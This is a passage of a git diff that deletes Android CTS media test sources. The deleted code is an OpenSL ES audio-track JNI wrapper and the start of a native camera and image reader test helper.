-    return readArray(env, clazz, jrecord, floatArray, offsetInSamples, sizeInSamples, readFlags);
-}
diff --git a/tests/tests/media/libaudiojni/audio-track-native.cpp b/tests/tests/media/libaudiojni/audio-track-native.cpp
deleted file mode 100644
index ce8bf91..0000000
--- a/tests/tests/media/libaudiojni/audio-track-native.cpp
+++ /dev/null
@@ -1,582 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-//#define LOG_NDEBUG 0
-#define LOG_TAG "audio-track-native"
-
-#include "Blob.h"
-#include "Gate.h"
-#include "sl-utils.h"
-
-#include <deque>
-#include <utils/Errors.h>
-
-// Select whether to use STL shared pointer or to use Android strong pointer.
-// We really don't promote any sharing of this object for its lifetime, but nevertheless could
-// change the shared pointer value on the fly if desired.
-#define USE_SHARED_POINTER
-
-#ifdef USE_SHARED_POINTER
-#include <memory>
-template <typename T> using shared_pointer = std::shared_ptr<T>;
-#else
-#include <utils/RefBase.h>
-template <typename T> using shared_pointer = android::sp<T>;
-#endif
-
-using namespace android;
-
-// Must be kept in sync with Java android.media.cts.AudioTrackNative.WriteFlags
-enum {
-    WRITE_FLAG_BLOCKING = (1 << 0),
-};
-
-// TODO: Add a single buffer blocking write mode which does not require additional memory.
-// TODO: Add internal buffer memory (e.g. use circular buffer, right now mallocs on heap).
-
-class AudioTrackNative
-#ifndef USE_SHARED_POINTER
-        : public RefBase // android strong pointers require RefBase
-#endif
-{
-public:
-    AudioTrackNative() :
-        mEngineObj(NULL),
-        mEngine(NULL),
-        mOutputMixObj(NULL),
-        mPlayerObj(NULL),
-        mPlay(NULL),
-        mBufferQueue(NULL),
-        mPlayState(SL_PLAYSTATE_STOPPED),
-        mNumBuffers(0)
-    { }
-
-    ~AudioTrackNative() {
-        close();
-    }
-
-    typedef std::lock_guard<std::recursive_mutex> auto_lock;
-
-    status_t open(jint numChannels, jint channelMask,
-                  jint sampleRate, jboolean useFloat, jint numBuffers) {
-        close();
-        auto_lock l(mLock);
-        mEngineObj = OpenSLEngine();
-        if (mEngineObj == NULL) {
-            ALOGW("cannot create OpenSL ES engine");
-            return INVALID_OPERATION;
-        }
-
-        SLresult res;
-        for (;;) {
-            /* Get the SL Engine Interface which is implicit */
-            res = (*mEngineObj)->GetInterface(mEngineObj, SL_IID_ENGINE, (void *)&mEngine);
-            if (res != SL_RESULT_SUCCESS) break;
-
-            // Create Output Mix object to be used by player
-            res = (*mEngine)->CreateOutputMix(
-                    mEngine, &mOutputMixObj, 0 /* numInterfaces */,
-                    NULL /* pInterfaceIds */, NULL /* pInterfaceRequired */);
-            if (res != SL_RESULT_SUCCESS) break;
-
-            // Realizing the Output Mix object in synchronous mode.
-            res = (*mOutputMixObj)->Realize(mOutputMixObj, SL_BOOLEAN_FALSE /* async */);
-            if (res != SL_RESULT_SUCCESS) break;
-
-            /* Setup the data source structure for the buffer queue */
-            SLDataLocator_BufferQueue bufferQueue;
-            bufferQueue.locatorType = SL_DATALOCATOR_BUFFERQUEUE;
-            bufferQueue.numBuffers = numBuffers;
-            mNumBuffers = numBuffers;
-
-            /* Setup the format of the content in the buffer queue */
-
-            SLAndroidDataFormat_PCM_EX pcm;
-            pcm.formatType = useFloat ? SL_ANDROID_DATAFORMAT_PCM_EX : SL_DATAFORMAT_PCM;
-            pcm.numChannels = numChannels;
-            pcm.sampleRate = sampleRate * 1000;
-            pcm.bitsPerSample = useFloat ?
-                    SL_PCMSAMPLEFORMAT_FIXED_32 : SL_PCMSAMPLEFORMAT_FIXED_16;
-            pcm.containerSize = pcm.bitsPerSample;
-            pcm.channelMask = channelMask;
-            pcm.endianness = SL_BYTEORDER_LITTLEENDIAN;
-            // additional
-            pcm.representation = useFloat ? SL_ANDROID_PCM_REPRESENTATION_FLOAT
-                                    : SL_ANDROID_PCM_REPRESENTATION_SIGNED_INT;
-            SLDataSource audioSource;
-            audioSource.pFormat = (void *)&pcm;
-            audioSource.pLocator = (void *)&bufferQueue;
-
-            /* Setup the data sink structure */
-            SLDataLocator_OutputMix locator_outputmix;
-            locator_outputmix.locatorType = SL_DATALOCATOR_OUTPUTMIX;
-            locator_outputmix.outputMix = mOutputMixObj;
-
-            SLDataSink audioSink;
-            audioSink.pLocator = (void *)&locator_outputmix;
-            audioSink.pFormat = NULL;
-
-            SLboolean required[1];
-            SLInterfaceID iidArray[1];
-            required[0] = SL_BOOLEAN_TRUE;
-            iidArray[0] = SL_IID_BUFFERQUEUE;
-
-            res = (*mEngine)->CreateAudioPlayer(mEngine, &mPlayerObj,
-                    &audioSource, &audioSink, 1 /* numInterfaces */, iidArray, required);
-            if (res != SL_RESULT_SUCCESS) break;
-
-            res = (*mPlayerObj)->Realize(mPlayerObj, SL_BOOLEAN_FALSE /* async */);
-            if (res != SL_RESULT_SUCCESS) break;
-
-            res = (*mPlayerObj)->GetInterface(mPlayerObj, SL_IID_PLAY, (void*)&mPlay);
-            if (res != SL_RESULT_SUCCESS) break;
-
-            res = (*mPlayerObj)->GetInterface(
-                    mPlayerObj, SL_IID_BUFFERQUEUE, (void*)&mBufferQueue);
-            if (res != SL_RESULT_SUCCESS) break;
-
-            /* Setup to receive buffer queue event callbacks */
-            res = (*mBufferQueue)->RegisterCallback(mBufferQueue, BufferQueueCallback, this);
-            if (res != SL_RESULT_SUCCESS) break;
-
-            // success
-            break;
-        }
-        if (res != SL_RESULT_SUCCESS) {
-            close(); // should be safe to close even with lock held
-            ALOGW("open error %s", android::getSLErrStr(res));
-            return INVALID_OPERATION;
-        }
-        return OK;
-    }
-
-    void close() {
-        SLObjectItf engineObj;
-        SLObjectItf outputMixObj;
-        SLObjectItf playerObj;
-        {
-            auto_lock l(mLock);
-            if (mPlay != NULL && mPlayState != SL_PLAYSTATE_STOPPED) {
-                (void)stop();
-            }
-            // once stopped, we can unregister the callback
-            if (mBufferQueue != NULL) {
-                (void)(*mBufferQueue)->RegisterCallback(
-                        mBufferQueue, NULL /* callback */, NULL /* *pContext */);
-            }
-            (void)flush();
-            engineObj = mEngineObj;
-            outputMixObj = mOutputMixObj;
-            playerObj = mPlayerObj;
-            // clear out interfaces and objects
-            mPlay = NULL;
-            mBufferQueue = NULL;
-            mEngine = NULL;
-            mPlayerObj = NULL;
-            mOutputMixObj = NULL;
-            mEngineObj = NULL;
-            mPlayState = SL_PLAYSTATE_STOPPED;
-        }
-        // destroy without lock
-        if (playerObj != NULL) {
-            (*playerObj)->Destroy(playerObj);
-        }
-        if (outputMixObj != NULL) {
-            (*outputMixObj)->Destroy(outputMixObj);
-        }
-        if (engineObj != NULL) {
-            CloseSLEngine(engineObj);
-        }
-    }
-
-    status_t setPlayState(SLuint32 playState) {
-        auto_lock l(mLock);
-        if (mPlay == NULL) {
-            return INVALID_OPERATION;
-        }
-        SLresult res = (*mPlay)->SetPlayState(mPlay, playState);
-        if (res != SL_RESULT_SUCCESS) {
-            ALOGW("setPlayState %d error %s", playState, android::getSLErrStr(res));
-            return INVALID_OPERATION;
-        }
-        mPlayState = playState;
-        return OK;
-    }
-
-    SLuint32 getPlayState() {
-        auto_lock l(mLock);
-        if (mPlay == NULL) {
-            return SL_PLAYSTATE_STOPPED;
-        }
-        SLuint32 playState;
-        SLresult res = (*mPlay)->GetPlayState(mPlay, &playState);
-        if (res != SL_RESULT_SUCCESS) {
-            ALOGW("getPlayState error %s", android::getSLErrStr(res));
-            return SL_PLAYSTATE_STOPPED;
-        }
-        return playState;
-    }
-
-    status_t getPositionInMsec(int64_t *position) {
-        auto_lock l(mLock);
-        if (mPlay == NULL) {
-            return INVALID_OPERATION;
-        }
-        if (position == NULL) {
-            return BAD_VALUE;
-        }
-        SLuint32 pos;
-        SLresult res = (*mPlay)->GetPosition(mPlay, &pos);
-        if (res != SL_RESULT_SUCCESS) {
-            ALOGW("getPosition error %s", android::getSLErrStr(res));
-            return INVALID_OPERATION;
-        }
-        // only lower 32 bits valid
-        *position = pos;
-        return OK;
-    }
-
-    status_t start() {
-        return setPlayState(SL_PLAYSTATE_PLAYING);
-    }
-
-    status_t pause() {
-        return setPlayState(SL_PLAYSTATE_PAUSED);
-    }
-
-    status_t stop() {
-        return setPlayState(SL_PLAYSTATE_STOPPED);
-    }
-
-    status_t flush() {
-        auto_lock l(mLock);
-        status_t result = OK;
-        if (mBufferQueue != NULL) {
-            SLresult res = (*mBufferQueue)->Clear(mBufferQueue);
-            if (res != SL_RESULT_SUCCESS) {
-                return INVALID_OPERATION;
-            }
-        }
-
-        // possible race if the engine is in the callback
-        // safety is only achieved if the player is paused or stopped.
-        mDeliveredQueue.clear();
-        return result;
-    }
-
-    status_t write(const void *buffer, size_t size, bool isBlocking = false) {
-        std::lock_guard<std::mutex> rl(mWriteLock);
-        // not needed if we assume that a single thread is doing the reading
-        // or we always operate in non-blocking mode.
-
-        {
-            auto_lock l(mLock);
-            if (mBufferQueue == NULL) {
-                return INVALID_OPERATION;
-            }
-            if (mDeliveredQueue.size() < mNumBuffers) {
-                auto b = std::make_shared<BlobReadOnly>(buffer, size, false /* byReference */);
-                mDeliveredQueue.emplace_back(b);
-                (*mBufferQueue)->Enqueue(mBufferQueue, b->mData, b->mSize);
-                return size;
-            }
-            if (!isBlocking) {
-                return 0;
-            }
-            mWriteReady.closeGate(); // we're full.
-        }
-        if (mWriteReady.wait()) {
-            auto_lock l(mLock);
-            if (mDeliveredQueue.size() < mNumBuffers) {
-                auto b = std::make_shared<BlobReadOnly>(buffer, size, false /* byReference */);
-                mDeliveredQueue.emplace_back(b);
-                (*mBufferQueue)->Enqueue(mBufferQueue, b->mData, b->mSize);
-                return size;
-            }
-        }
-        ALOGW("unable to deliver write");
-        return 0;
-    }
-
-    void logBufferState() {
-        auto_lock l(mLock);
-        SLBufferQueueState state;
-        SLresult res = (*mBufferQueue)->GetState(mBufferQueue, &state);
-        CheckErr(res);
-        ALOGD("logBufferState state.count:%d  state.playIndex:%d", state.count, state.playIndex);
-    }
-
-    size_t getBuffersPending() {
-        auto_lock l(mLock);
-        return mDeliveredQueue.size();
-    }
-
-private:
-    void bufferQueueCallback(SLBufferQueueItf queueItf) {
-        auto_lock l(mLock);
-        if (queueItf != mBufferQueue) {
-            ALOGW("invalid buffer queue interface, ignoring");
-            return;
-        }
-        // logBufferState();
-
-        // remove from delivered queue
-        if (mDeliveredQueue.size()) {
-            mDeliveredQueue.pop_front();
-        } else {
-            ALOGW("no delivered data!");
-        }
-        if (!mWriteReady.isOpen()) {
-            mWriteReady.openGate();
-        }
-    }
-
-    static void BufferQueueCallback(SLBufferQueueItf queueItf, void *pContext) {
-        // naked native track
-        AudioTrackNative *track = (AudioTrackNative *)pContext;
-        track->bufferQueueCallback(queueItf);
-    }
-
-    SLObjectItf          mEngineObj;
-    SLEngineItf          mEngine;
-    SLObjectItf          mOutputMixObj;
-    SLObjectItf          mPlayerObj;
-    SLPlayItf            mPlay;
-    SLBufferQueueItf     mBufferQueue;
-    SLuint32             mPlayState;
-    SLuint32             mNumBuffers;
-    std::recursive_mutex mLock;           // monitor lock - locks public API methods and callback.
-                                          // recursive since it may call itself through API.
-    std::mutex           mWriteLock;      // write lock - for blocking mode, prevents multiple
-                                          // writer threads from overlapping writes.  this is
-                                          // generally unnecessary as writes occur from
-                                          // one thread only.  acquire this before mLock.
-    Gate                 mWriteReady;
-    std::deque<std::shared_ptr<BlobReadOnly>> mDeliveredQueue; // delivered to mBufferQueue
-};
-
-/* Java static methods.
- *
- * These are not directly exposed to the user, so we can assume a valid "jtrack" handle
- * to be passed in.
- */
-
-extern "C" jint Java_android_media_cts_AudioTrackNative_nativeTest(
-    JNIEnv * /* env */, jclass /* clazz */,
-    jint numChannels, jint channelMask, jint sampleRate, jboolean useFloat,
-    jint msecPerBuffer, jint numBuffers)
-{
-    AudioTrackNative track;
-    const size_t frameSize = numChannels * (useFloat ? sizeof(float) : sizeof(int16_t));
-    const size_t framesPerBuffer = msecPerBuffer * sampleRate / 1000;
-
-    status_t res;
-    void *buffer = calloc(framesPerBuffer * numBuffers, frameSize);
-    for (;;) {
-        res = track.open(numChannels, channelMask, sampleRate, useFloat, numBuffers);
-        if (res != OK) break;
-
-        for (int i = 0; i < numBuffers; ++i) {
-            track.write((char *)buffer + i * (framesPerBuffer * frameSize),
-                    framesPerBuffer * frameSize);
-        }
-
-        track.logBufferState();
-        res = track.start();
-        if (res != OK) break;
-
-        size_t buffers;
-        while ((buffers = track.getBuffersPending()) > 0) {
-            // ALOGD("outstanding buffers: %zu", buffers);
-            usleep(5 * 1000 /* usec */);
-        }
-        res = track.stop();
-        break;
-    }
-    track.close();
-    free(buffer);
-    return res;
-}
-
-extern "C" jlong Java_android_media_cts_AudioTrackNative_nativeCreateTrack(
-    JNIEnv * /* env */, jclass /* clazz */)
-{
-    return (jlong)(new shared_pointer<AudioTrackNative>(new AudioTrackNative()));
-}
-
-extern "C" void Java_android_media_cts_AudioTrackNative_nativeDestroyTrack(
-    JNIEnv * /* env */, jclass /* clazz */, jlong jtrack)
-{
-    delete (shared_pointer<AudioTrackNative> *)jtrack;
-}
-
-extern "C" jint Java_android_media_cts_AudioTrackNative_nativeOpen(
-    JNIEnv * /* env */, jclass /* clazz */, jlong jtrack,
-    jint numChannels, jint channelMask, jint sampleRate,
-    jboolean useFloat, jint numBuffers)
-{
-    auto track = *(shared_pointer<AudioTrackNative> *)jtrack;
-    if (track.get() == NULL) {
-        return (jint)INVALID_OPERATION;
-    }
-    return (jint) track->open(numChannels,
-                              channelMask,
-                              sampleRate,
-                              useFloat == JNI_TRUE,
-                              numBuffers);
-}
-
-extern "C" void Java_android_media_cts_AudioTrackNative_nativeClose(
-    JNIEnv * /* env */, jclass /* clazz */, jlong jtrack)
-{
-    auto track = *(shared_pointer<AudioTrackNative> *)jtrack;
-    if (track.get() != NULL) {
-        track->close();
-    }
-}
-
-extern "C" jint Java_android_media_cts_AudioTrackNative_nativeStart(
-    JNIEnv * /* env */, jclass /* clazz */, jlong jtrack)
-{
-    auto track = *(shared_pointer<AudioTrackNative> *)jtrack;
-    if (track.get() == NULL) {
-        return (jint)INVALID_OPERATION;
-    }
-    return (jint)track->start();
-}
-
-extern "C" jint Java_android_media_cts_AudioTrackNative_nativeStop(
-    JNIEnv * /* env */, jclass /* clazz */, jlong jtrack)
-{
-    auto track = *(shared_pointer<AudioTrackNative> *)jtrack;
-    if (track.get() == NULL) {
-        return (jint)INVALID_OPERATION;
-    }
-    return (jint)track->stop();
-}
-
-extern "C" jint Java_android_media_cts_AudioTrackNative_nativePause(
-    JNIEnv * /* env */, jclass /* clazz */, jlong jtrack)
-{
-    auto track = *(shared_pointer<AudioTrackNative> *)jtrack;
-    if (track.get() == NULL) {
-        return (jint)INVALID_OPERATION;
-    }
-    return (jint)track->pause();
-}
-
-extern "C" jint Java_android_media_cts_AudioTrackNative_nativeFlush(
-    JNIEnv * /* env */, jclass /* clazz */, jlong jtrack)
-{
-    auto track = *(shared_pointer<AudioTrackNative> *)jtrack;
-    if (track.get() == NULL) {
-        return (jint)INVALID_OPERATION;
-    }
-    return (jint)track->flush();
-}
-
-extern "C" jint Java_android_media_cts_AudioTrackNative_nativeGetPositionInMsec(
-    JNIEnv *env, jclass /* clazz */, jlong jtrack, jlongArray jPosition)
-{
-    auto track = *(shared_pointer<AudioTrackNative> *)jtrack;
-    if (track.get() == NULL) {
-        return (jint)INVALID_OPERATION;
-    }
-    int64_t pos;
-    status_t res = track->getPositionInMsec(&pos);
-    if (res != OK) {
-        return res;
-    }
-    jlong *nPostition = (jlong *) env->GetPrimitiveArrayCritical(jPosition, NULL /* isCopy */);
-    if (nPostition == NULL) {
-        ALOGE("Unable to get array for nativeGetPositionInMsec()");
-        return BAD_VALUE;
-    }
-    nPostition[0] = (jlong)pos;
-    env->ReleasePrimitiveArrayCritical(jPosition, nPostition, 0 /* mode */);
-    return OK;
-}
-
-extern "C" jint Java_android_media_cts_AudioTrackNative_nativeGetBuffersPending(
-    JNIEnv * /* env */, jclass /* clazz */, jlong jtrack)
-{
-    auto track = *(shared_pointer<AudioTrackNative> *)jtrack;
-    if (track.get() == NULL) {
-        return (jint)0;
-    }
-    return (jint)track->getBuffersPending();
-}
-
-template <typename T>
-static inline jint writeToTrack(jlong jtrack, const T *data,
-    jint offsetInSamples, jint sizeInSamples, jint writeFlags)
-{
-    auto track = *(shared_pointer<AudioTrackNative> *)jtrack;
-    if (track.get() == NULL) {
-        return (jint)INVALID_OPERATION;
-    }
-
-    const bool isBlocking = writeFlags & WRITE_FLAG_BLOCKING;
-    const size_t sizeInBytes = sizeInSamples * sizeof(T);
-    ssize_t ret = track->write(data + offsetInSamples, sizeInBytes, isBlocking);
-    return (jint)(ret > 0 ? ret / sizeof(T) : ret);
-}
-
-template <typename T>
-static inline jint writeArray(JNIEnv *env, jclass /* clazz */, jlong jtrack,
-        T javaAudioData, jint offsetInSamples, jint sizeInSamples, jint writeFlags)
-{
-    if (javaAudioData == NULL) {
-        return (jint)INVALID_OPERATION;
-    }
-
-    auto cAudioData = envGetArrayElements(env, javaAudioData, NULL /* isCopy */);
-    if (cAudioData == NULL) {
-        ALOGE("Error retrieving source of audio data to play");
-        return (jint)BAD_VALUE;
-    }
-
-    jint ret = writeToTrack(jtrack, cAudioData, offsetInSamples, sizeInSamples, writeFlags);
-    envReleaseArrayElements(env, javaAudioData, cAudioData, 0 /* mode */);
-    return ret;
-}
-
-extern "C" jint Java_android_media_cts_AudioTrackNative_nativeWriteByteArray(
-    JNIEnv *env, jclass clazz, jlong jtrack,
-    jbyteArray byteArray, jint offsetInSamples, jint sizeInSamples, jint writeFlags)
-{
-    ALOGV("nativeWriteByteArray(%p, %d, %d, %d)",
-            byteArray, offsetInSamples, sizeInSamples, writeFlags);
-    return writeArray(env, clazz, jtrack, byteArray, offsetInSamples, sizeInSamples, writeFlags);
-}
-
-extern "C" jint Java_android_media_cts_AudioTrackNative_nativeWriteShortArray(
-    JNIEnv *env, jclass clazz, jlong jtrack,
-    jshortArray shortArray, jint offsetInSamples, jint sizeInSamples, jint writeFlags)
-{
-    ALOGV("nativeWriteShortArray(%p, %d, %d, %d)",
-            shortArray, offsetInSamples, sizeInSamples, writeFlags);
-    return writeArray(env, clazz, jtrack, shortArray, offsetInSamples, sizeInSamples, writeFlags);
-}
-
-extern "C" jint Java_android_media_cts_AudioTrackNative_nativeWriteFloatArray(
-    JNIEnv *env, jclass clazz, jlong jtrack,
-    jfloatArray floatArray, jint offsetInSamples, jint sizeInSamples, jint writeFlags)
-{
-    ALOGV("nativeWriteFloatArray(%p, %d, %d, %d)",
-            floatArray, offsetInSamples, sizeInSamples, writeFlags);
-    return writeArray(env, clazz, jtrack, floatArray, offsetInSamples, sizeInSamples, writeFlags);
-}
diff --git a/tests/tests/media/libimagereaderjni/AImageReaderCts.cpp b/tests/tests/media/libimagereaderjni/AImageReaderCts.cpp
deleted file mode 100644
index ea35540..0000000
--- a/tests/tests/media/libimagereaderjni/AImageReaderCts.cpp
+++ /dev/null
@@ -1,571 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define LOG_TAG "AImageReaderCts"
-//#define LOG_NDEBUG 0
-
-#include <jni.h>
-#include <stdint.h>
-#include <unistd.h>
-
-#include <algorithm>
-#include <mutex>
-#include <string>
-#include <vector>
-
-#include <android/log.h>
-#include <android/native_window_jni.h>
-#include <camera/NdkCameraError.h>
-#include <camera/NdkCameraManager.h>
-#include <camera/NdkCameraDevice.h>
-#include <camera/NdkCameraCaptureSession.h>
-#include <media/NdkImage.h>
-#include <media/NdkImageReader.h>
-
-//#define ALOGV(...) __android_log_print(ANDROID_LOG_VERBOSE, LOG_TAG, __VA_ARGS__)
-//#define ALOGD(...) __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, __VA_ARGS__)
-#define ALOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)
-#define ALOGW(...) __android_log_print(ANDROID_LOG_WARN, LOG_TAG, __VA_ARGS__)
-#define ALOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
-
-namespace {
-
-static constexpr int kDummyFenceFd = -1;
-static constexpr int kCaptureWaitUs = 100 * 1000;
-static constexpr int kCaptureWaitRetry = 10;
-static constexpr int kTestImageWidth = 640;
-static constexpr int kTestImageHeight = 480;
-static constexpr int kTestImageFormat = AIMAGE_FORMAT_YUV_420_888;
-
-struct FormatUsageCombination {
-    uint64_t format;
-    uint64_t usage;
-};
-
-static constexpr FormatUsageCombination supportedFormatUsage[] = {
-    {AIMAGE_FORMAT_YUV_420_888, AHARDWAREBUFFER_USAGE_CPU_READ_RARELY},
-    {AIMAGE_FORMAT_YUV_420_888, AHARDWAREBUFFER_USAGE_CPU_READ_OFTEN},
-    {AIMAGE_FORMAT_JPEG, AHARDWAREBUFFER_USAGE_CPU_READ_RARELY},
-    {AIMAGE_FORMAT_JPEG, AHARDWAREBUFFER_USAGE_CPU_READ_OFTEN},
-    {AIMAGE_FORMAT_RGBA_8888, AHARDWAREBUFFER_USAGE_CPU_READ_RARELY},
-    {AIMAGE_FORMAT_RGBA_8888, AHARDWAREBUFFER_USAGE_CPU_READ_OFTEN},
-    {AIMAGE_FORMAT_RGBA_8888, AHARDWAREBUFFER_USAGE_GPU_SAMPLED_IMAGE},
-    {AIMAGE_FORMAT_RGBA_8888, AHARDWAREBUFFER_USAGE_VIDEO_ENCODE},
-    {AIMAGE_FORMAT_Y8, AHARDWAREBUFFER_USAGE_CPU_READ_OFTEN},
-};
-
-class CameraHelper {
-   public:
-    CameraHelper(ANativeWindow* imgReaderAnw) : mImgReaderAnw(imgReaderAnw) {}
-    ~CameraHelper() { closeCamera(); }
-
-    int initCamera() {
-        if (mImgReaderAnw == nullptr) {
-            ALOGE("Cannot initialize camera before image reader get initialized.");
-            return -1;
-        }
-        int ret;
-
-        mCameraManager = ACameraManager_create();
-        if (mCameraManager == nullptr) {
-            ALOGE("Failed to create ACameraManager.");
-            return -1;
-        }
-
-        ret = ACameraManager_getCameraIdList(mCameraManager, &mCameraIdList);
-        if (ret != AMEDIA_OK) {
-            ALOGE("Failed to get cameraIdList: ret=%d", ret);
-            return ret;
-        }
-        if (mCameraIdList->numCameras < 1) {
-            ALOGW("Device has no camera on board.");
-            return 0;
-        }
-
-        // We always use the first camera.
-        mCameraId = mCameraIdList->cameraIds[0];
-        if (mCameraId == nullptr) {
-            ALOGE("Failed to get cameraId.");
-            return -1;
-        }
-
-        ret = ACameraManager_openCamera(mCameraManager, mCameraId, &mDeviceCb, &mDevice);
-        if (ret != AMEDIA_OK || mDevice == nullptr) {
-            ALOGE("Failed to open camera, ret=%d, mDevice=%p.", ret, mDevice);
-            return -1;
-        }
-
-        ret = ACameraManager_getCameraCharacteristics(mCameraManager, mCameraId, &mCameraMetadata);
-        if (ret != ACAMERA_OK || mCameraMetadata == nullptr) {
-            ALOGE("Get camera %s characteristics failure. ret %d, metadata %p", mCameraId, ret,
-                  mCameraMetadata);
-            return -1;
-        }
-
-        if (!isCapabilitySupported(ACAMERA_REQUEST_AVAILABLE_CAPABILITIES_BACKWARD_COMPATIBLE)) {
-            ALOGW("Camera does not support BACKWARD_COMPATIBLE.");
-            return 0;
-        }
-
-        // Create capture session
-        ret = ACaptureSessionOutputContainer_create(&mOutputs);
-        if (ret != AMEDIA_OK) {
-            ALOGE("ACaptureSessionOutputContainer_create failed, ret=%d", ret);
-            return ret;
-        }
-        ret = ACaptureSessionOutput_create(mImgReaderAnw, &mImgReaderOutput);
-        if (ret != AMEDIA_OK) {
-            ALOGE("ACaptureSessionOutput_create failed, ret=%d", ret);
-            return ret;
-        }
-        ret = ACaptureSessionOutputContainer_add(mOutputs, mImgReaderOutput);
-        if (ret != AMEDIA_OK) {
-            ALOGE("ACaptureSessionOutputContainer_add failed, ret=%d", ret);
-            return ret;
-        }
-        ret = ACameraDevice_createCaptureSession(mDevice, mOutputs, &mSessionCb, &mSession);
-        if (ret != AMEDIA_OK) {
-            ALOGE("ACameraDevice_createCaptureSession failed, ret=%d", ret);
-            return ret;
-        }
-
-        // Create capture request
-        ret = ACameraDevice_createCaptureRequest(mDevice, TEMPLATE_STILL_CAPTURE, &mStillRequest);
-        if (ret != AMEDIA_OK) {
-            ALOGE("ACameraDevice_createCaptureRequest failed, ret=%d", ret);
-            return ret;
-        }
-        ret = ACameraOutputTarget_create(mImgReaderAnw, &mReqImgReaderOutput);
-        if (ret != AMEDIA_OK) {
-            ALOGE("ACameraOutputTarget_create failed, ret=%d", ret);
-            return ret;
-        }
-        ret = ACaptureRequest_addTarget(mStillRequest, mReqImgReaderOutput);
-        if (ret != AMEDIA_OK) {
-            ALOGE("ACaptureRequest_addTarget failed, ret=%d", ret);
-            return ret;
-        }
-
-        mIsCameraReady = true;
-        return 0;
-    }
-
-    bool isCapabilitySupported(acamera_metadata_enum_android_request_available_capabilities_t cap) {
-        ACameraMetadata_const_entry entry;
-        ACameraMetadata_getConstEntry(
-                mCameraMetadata, ACAMERA_REQUEST_AVAILABLE_CAPABILITIES, &entry);
-        for (uint32_t i = 0; i < entry.count; i++) {
-            if (entry.data.u8[i] == cap) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-    bool isCameraReady() { return mIsCameraReady; }
-
-    void closeCamera() {
-        // Destroy capture request
-        if (mReqImgReaderOutput) {
-            ACameraOutputTarget_free(mReqImgReaderOutput);
-            mReqImgReaderOutput = nullptr;
-        }
-        if (mStillRequest) {
-            ACaptureRequest_free(mStillRequest);
-            mStillRequest = nullptr;
-        }
-        // Destroy capture session
-        if (mSession != nullptr) {
-            ACameraCaptureSession_close(mSession);
-            mSession = nullptr;
-        }
-        if (mImgReaderOutput) {
-            ACaptureSessionOutput_free(mImgReaderOutput);
-            mImgReaderOutput = nullptr;
-        }
-        if (mOutputs) {
-            ACaptureSessionOutputContainer_free(mOutputs);
-            mOutputs = nullptr;
-        }
-        // Destroy camera device
-        if (mDevice) {
-            ACameraDevice_close(mDevice);
-            mDevice = nullptr;
-        }
-        if (mCameraMetadata) {
-          ACameraMetadata_free(mCameraMetadata);
-          mCameraMetadata = nullptr;
-        }
-        // Destroy camera manager
-        if (mCameraIdList) {
-            ACameraManager_deleteCameraIdList(mCameraIdList);
-            mCameraIdList = nullptr;
-        }
-        if (mCameraManager) {
-            ACameraManager_delete(mCameraManager);
-            mCameraManager = nullptr;
-        }
-        mIsCameraReady = false;
-    }
-
-    int takePicture() {
-        int seqId;
-        return ACameraCaptureSession_capture(mSession, nullptr, 1, &mStillRequest, &seqId);
-    }
-
-    static void onDeviceDisconnected(void* /*obj*/, ACameraDevice* /*device*/) {}
-
-    static void onDeviceError(void* /*obj*/, ACameraDevice* /*device*/, int /*errorCode*/) {}
-
-    static void onSessionClosed(void* /*obj*/, ACameraCaptureSession* /*session*/) {}
-
-    static void onSessionReady(void* /*obj*/, ACameraCaptureSession* /*session*/) {}
-
-    static void onSessionActive(void* /*obj*/, ACameraCaptureSession* /*session*/) {}
-
-   private:
-    ACameraDevice_StateCallbacks mDeviceCb{this, onDeviceDisconnected,
-                                           onDeviceError};
-    ACameraCaptureSession_stateCallbacks mSessionCb{
-        this, onSessionClosed, onSessionReady, onSessionActive};
-
-    ANativeWindow* mImgReaderAnw = nullptr;  // not owned by us.
-
-    // Camera manager
-    ACameraManager* mCameraManager = nullptr;
-    ACameraIdList* mCameraIdList = nullptr;
-    // Camera device
-    ACameraMetadata* mCameraMetadata = nullptr;
-    ACameraDevice* mDevice = nullptr;
-    // Capture session
-    ACaptureSessionOutputContainer* mOutputs = nullptr;
-    ACaptureSessionOutput* mImgReaderOutput = nullptr;
-    ACameraCaptureSession* mSession = nullptr;
-    // Capture request
-    ACaptureRequest* mStillRequest = nullptr;
-    ACameraOutputTarget* mReqImgReaderOutput = nullptr;
-
-    bool mIsCameraReady = false;
-    const char* mCameraId;
-};
-
-class ImageReaderTestCase {
-   public:
-    ImageReaderTestCase(int32_t width,
-                        int32_t height,
-                        int32_t format,
-                        uint64_t usage,
-                        int32_t maxImages,
-                        bool async)
-        : mWidth(width),
-          mHeight(height),
-          mFormat(format),
-          mUsage(usage),
-          mMaxImages(maxImages),
-          mAsync(async) {}
-
-    ~ImageReaderTestCase() {
-        if (mImgReaderAnw) {
-            AImageReader_delete(mImgReader);
-            // No need to call ANativeWindow_release on imageReaderAnw
-        }
-    }
-
-    int initImageReader() {
-        if (mImgReader != nullptr || mImgReaderAnw != nullptr) {
-            ALOGE("Cannot re-initalize image reader, mImgReader=%p, mImgReaderAnw=%p", mImgReader,
-                  mImgReaderAnw);
-            return -1;
-        }
-
-        media_status_t ret = AImageReader_newWithUsage(
-                mWidth, mHeight, mFormat, mUsage, mMaxImages, &mImgReader);
-        if (ret != AMEDIA_OK || mImgReader == nullptr) {
-            ALOGE("Failed to create new AImageReader, ret=%d, mImgReader=%p", ret, mImgReader);
-            return -1;
-        }
